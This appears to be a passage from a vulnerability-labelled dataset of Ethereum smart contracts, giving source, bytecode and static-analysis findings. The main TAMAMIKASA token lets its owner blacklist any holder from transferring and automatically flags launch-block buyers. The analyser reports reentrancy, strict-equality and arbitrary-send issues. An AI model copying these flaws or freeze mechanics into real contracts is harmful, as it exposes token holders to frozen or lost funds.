ffffff16815260200190815260200160002060009054906101000a900460ff16151514612c50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061318d6023913960400191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600115158173ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a350565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612dd7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2043616e2774206c6f636b207a65726f2061646472657373000081525060200191505060405180910390fd5b612dee838260000154611d8190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612e84576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806132ae6030913960400191505060405180910390fd5b60008160010154118015612e9b5750806001015442115b15612eb55760008160010181905550600081600001819055505b818160010181905550612ed5838260000154611d8190919063ffffffff16565b81600001819055508181600001548573ffffffffffffffffffffffffffffffffffffffff167fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558060405160405180910390a450505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612fb2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133986023913960400191505060405180910390fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514613078576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2041646472657373206e6f7420626c61636b6c6973746564000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600015158173ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a350565b505050565b600061316183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061289d565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206c6f636b20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c653a206f6c642061646d696e20697320746865207a65726f20616464726573734f776e61626c653a206e65772061646d696e20697320746865207a65726f206164647265737345524332303a20596f752063616e2774206c6f636b206d6f7265207468616e206163636f756e742062616c616e6365734f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f7245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4f776e61626c653a206164647265737320697320616c72656164792061646d696ea26469706673582212208a50f21e9fab59e877c831885f96aeaec84e3df1703d30989030489c3d2dd3b964736f6c63430007030033
{"success": true, "error": null, "results": {}}
5,095
0x979d448a11bda7fe48f3b8dfe4187c7b94a0f6f9
// SPDX-License-Identifier: Unlicensed /* Telegram: https://t.me/tamamikasa Mikasa Fan based token Stealth Launch Tokenomics: Total Tax:12% Liquidity Pool: 4% Buy Back and Burn: 3% Marketing: 3% Dev 2% */ pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract TAMAMIKASA is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); uint256 private constant _tTotal = 1e10 * 10**9; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "TAMAMIKASA"; string private constant _symbol = "TAMAMIKASA"; uint private constant _decimals = 9; uint256 private _teamFee = 12; uint256 private _previousteamFee = _teamFee; uint256 private _maxTxnAmount = 2; address payable private _feeAddress; // Uniswap Pair IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; bool private _txnLimit = false; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _txnLimit) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(_maxTxnAmount).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initNewPair(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function startTrading() external onlyOwner() { require(_initialized); _tradingOpen = true; _launchTime = block.timestamp; _txnLimit = true; } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function enableTxnLimit(bool onoff) external onlyOwner() { _txnLimit = onoff; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee < 12); _teamFee = fee; } function setMaxTxn(uint256 max) external onlyOwner(){ require(max>2); _maxTxnAmount = max; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x6080604052600436106101855760003560e01c806370a08231116100d1578063a9059cbb1161008a578063dd62ed3e11610064578063dd62ed3e1461046c578063e6ec64ec146104b2578063f2fde38b146104d2578063fc588c04146104f257600080fd5b8063a9059cbb1461040c578063b515566a1461042c578063cf0848f71461044c57600080fd5b806370a082311461036f578063715018a61461038f5780637c938bb4146103a45780638da5cb5b146103c457806390d49b9d146103ec57806395d89b41146101a857600080fd5b8063313ce5671161013e5780633bbac579116101185780633bbac579146102c8578063437823ec14610301578063476343ee146103215780635342acb41461033657600080fd5b8063313ce5671461027457806331c2d847146102885780633a0f23b3146102a857600080fd5b806306d8ea6b1461019157806306fdde03146101a8578063095ea7b3146101ea57806318160ddd1461021a57806323b872dd1461023f578063293230b81461025f57600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610512565b005b3480156101b457600080fd5b50604080518082018252600a81526954414d414d494b41534160b01b602082015290516101e19190611928565b60405180910390f35b3480156101f657600080fd5b5061020a6102053660046119a2565b61055e565b60405190151581526020016101e1565b34801561022657600080fd5b50678ac7230489e800005b6040519081526020016101e1565b34801561024b57600080fd5b5061020a61025a3660046119ce565b610575565b34801561026b57600080fd5b506101a66105de565b34801561028057600080fd5b506009610231565b34801561029457600080fd5b506101a66102a3366004611a25565b610644565b3480156102b457600080fd5b506101a66102c3366004611aea565b6106da565b3480156102d457600080fd5b5061020a6102e3366004611b0c565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561030d57600080fd5b506101a661031c366004611b0c565b610717565b34801561032d57600080fd5b506101a6610765565b34801561034257600080fd5b5061020a610351366004611b0c565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561037b57600080fd5b5061023161038a366004611b0c565b61079f565b34801561039b57600080fd5b506101a66107c1565b3480156103b057600080fd5b506101a66103bf366004611b0c565b6107f7565b3480156103d057600080fd5b506000546040516001600160a01b0390911681526020016101e1565b3480156103f857600080fd5b506101a6610407366004611b0c565b610a52565b34801561041857600080fd5b5061020a6104273660046119a2565b610acc565b34801561043857600080fd5b506101a6610447366004611a25565b610ad9565b34801561045857600080fd5b506101a6610467366004611b0c565b610bf2565b34801561047857600080fd5b50610231610487366004611b29565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156104be57600080fd5b506101a66104cd366004611b62565b610c3d565b3480156104de57600080fd5b506101a66104ed366004611b0c565b610c79565b3480156104fe57600080fd5b506101a661050d366004611b62565b610d11565b6000546001600160a01b031633146105455760405162461bcd60e51b815260040161053c90611b7b565b60405180910390fd5b60006105503061079f565b905061055b81610d4d565b50565b600061056b338484610ec7565b5060015b92915050565b6000610582848484610feb565b6105d484336105cf85604051806060016040528060288152602001611cf6602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611411565b610ec7565b5060019392505050565b6000546001600160a01b031633146106085760405162461bcd60e51b815260040161053c90611b7b565b600d54600160a01b900460ff1661061e57600080fd5b600d805460ff60b81b1916600160b81b17905542600e55600f805460ff19166001179055565b6000546001600160a01b0316331461066e5760405162461bcd60e51b815260040161053c90611b7b565b60005b81518110156106d65760006005600084848151811061069257610692611bb0565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106ce81611bdc565b915050610671565b5050565b6000546001600160a01b031633146107045760405162461bcd60e51b815260040161053c90611b7b565b600f805460ff1916911515919091179055565b6000546001600160a01b031633146107415760405162461bcd60e51b815260040161053c90611b7b565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600b5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156106d6573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461056f9061144b565b6000546001600160a01b031633146107eb5760405162461bcd60e51b815260040161053c90611b7b565b6107f560006114cf565b565b6000546001600160a01b031633146108215760405162461bcd60e51b815260040161053c90611b7b565b600d54600160a01b900460ff16156108895760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b606482015260840161053c565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108e0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109049190611bf7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610951573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109759190611bf7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156109c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e69190611bf7565b600d80546001600160a01b039283166001600160a01b0319918216178255600c805494841694821694909417909355600b8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610a7c5760405162461bcd60e51b815260040161053c90611b7b565b600b80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b600061056b338484610feb565b6000546001600160a01b03163314610b035760405162461bcd60e51b815260040161053c90611b7b565b60005b81518110156106d657600d5482516001600160a01b0390911690839083908110610b3257610b32611bb0565b60200260200101516001600160a01b031614158015610b835750600c5482516001600160a01b0390911690839083908110610b6f57610b6f611bb0565b60200260200101516001600160a01b031614155b15610be057600160056000848481518110610ba057610ba0611bb0565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610bea81611bdc565b915050610b06565b6000546001600160a01b03163314610c1c5760405162461bcd60e51b815260040161053c90611b7b565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b03163314610c675760405162461bcd60e51b815260040161053c90611b7b565b600c8110610c7457600080fd5b600855565b6000546001600160a01b03163314610ca35760405162461bcd60e51b815260040161053c90611b7b565b6001600160a01b038116610d085760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161053c565b61055b816114cf565b6000546001600160a01b03163314610d3b5760405162461bcd60e51b815260040161053c90611b7b565b60028111610d4857600080fd5b600a55565b600d805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d9557610d95611bb0565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e129190611bf7565b81600181518110610e2557610e25611bb0565b6001600160a01b039283166020918202929092010152600c54610e4b9130911684610ec7565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e84908590600090869030904290600401611c14565b600060405180830381600087803b158015610e9e57600080fd5b505af1158015610eb2573d6000803e3d6000fd5b5050600d805460ff60b01b1916905550505050565b6001600160a01b038316610f295760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161053c565b6001600160a01b038216610f8a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161053c565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661104f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161053c565b6001600160a01b0382166110b15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161053c565b600081116111135760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161053c565b6001600160a01b03831660009081526005602052604090205460ff16156111bb5760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a40161053c565b6001600160a01b03831660009081526004602052604081205460ff161580156111fd57506001600160a01b03831660009081526004602052604090205460ff16155b80156112135750600d54600160a81b900460ff16155b80156112435750600d546001600160a01b03858116911614806112435750600d546001600160a01b038481169116145b156113ff57600d54600160b81b900460ff166112a15760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e604482015260640161053c565b50600d546001906001600160a01b0385811691161480156112d05750600c546001600160a01b03848116911614155b80156112de5750600f5460ff165b1561132f5760006112ee8461079f565b90506113186064611312600a54678ac7230489e8000061151f90919063ffffffff16565b9061159e565b61132284836115e0565b111561132d57600080fd5b505b600e5442141561135d576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006113683061079f565b600d54909150600160b01b900460ff161580156113935750600d546001600160a01b03868116911614155b156113fd5780156113fd57600d546113c79060649061131290600f906113c1906001600160a01b031661079f565b9061151f565b8111156113f457600d546113f19060649061131290600f906113c1906001600160a01b031661079f565b90505b6113fd81610d4d565b505b61140b8484848461163f565b50505050565b600081848411156114355760405162461bcd60e51b815260040161053c9190611928565b5060006114428486611c85565b95945050505050565b60006006548211156114b25760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161053c565b60006114bc611742565b90506114c8838261159e565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60008261152e5750600061056f565b600061153a8385611c9c565b9050826115478583611cbb565b146114c85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161053c565b60006114c883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611765565b6000806115ed8385611cdd565b9050838110156114c85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161053c565b808061164d5761164d611793565b60008060008061165c876117af565b6001600160a01b038d166000908152600160205260409020549397509195509350915061168990856117f6565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546116b890846115e0565b6001600160a01b0389166000908152600160205260409020556116da81611838565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161171f91815260200190565b60405180910390a3505050508061173b5761173b600954600855565b5050505050565b600080600061174f611882565b909250905061175e828261159e565b9250505090565b600081836117865760405162461bcd60e51b815260040161053c9190611928565b5060006114428486611cbb565b6000600854116117a257600080fd5b6008805460095560009055565b6000806000806000806117c4876008546118c2565b9150915060006117d2611742565b90506000806117e28a85856118ef565b909b909a5094985092965092945050505050565b60006114c883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611411565b6000611842611742565b90506000611850838361151f565b3060009081526001602052604090205490915061186d90826115e0565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e8000061189d828261159e565b8210156118b957505060065492678ac7230489e8000092509050565b90939092509050565b600080806118d56064611312878761151f565b905060006118e386836117f6565b96919550909350505050565b600080806118fd868561151f565b9050600061190b868661151f565b9050600061191983836117f6565b92989297509195505050505050565b600060208083528351808285015260005b8181101561195557858101830151858201604001528201611939565b81811115611967576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461055b57600080fd5b803561199d8161197d565b919050565b600080604083850312156119b557600080fd5b82356119c08161197d565b946020939093013593505050565b6000806000606084860312156119e357600080fd5b83356119ee8161197d565b925060208401356119fe8161197d565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a3857600080fd5b823567ffffffffffffffff80821115611a5057600080fd5b818501915085601f830112611a6457600080fd5b813581811115611a7657611a76611a0f565b8060051b604051601f19603f83011681018181108582111715611a9b57611a9b611a0f565b604052918252848201925083810185019188831115611ab957600080fd5b938501935b82851015611ade57611acf85611992565b84529385019392850192611abe565b98975050505050505050565b600060208284031215611afc57600080fd5b813580151581146114c857600080fd5b600060208284031215611b1e57600080fd5b81356114c88161197d565b60008060408385031215611b3c57600080fd5b8235611b478161197d565b91506020830135611b578161197d565b809150509250929050565b600060208284031215611b7457600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611bf057611bf0611bc6565b5060010190565b600060208284031215611c0957600080fd5b81516114c88161197d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c645784516001600160a01b031683529383019391830191600101611c3f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c9757611c97611bc6565b500390565b6000816000190483118215151615611cb657611cb6611bc6565b500290565b600082611cd857634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611cf057611cf0611bc6565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202eec531cdb3a972c3ebac38f9bc2f5b5c2b017fcbfcfa231e3c098090172ca5064736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,096
0x33408718461f21e6fc4f71802cbe81ae4369ff33
pragma solidity ^0.4.15; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value 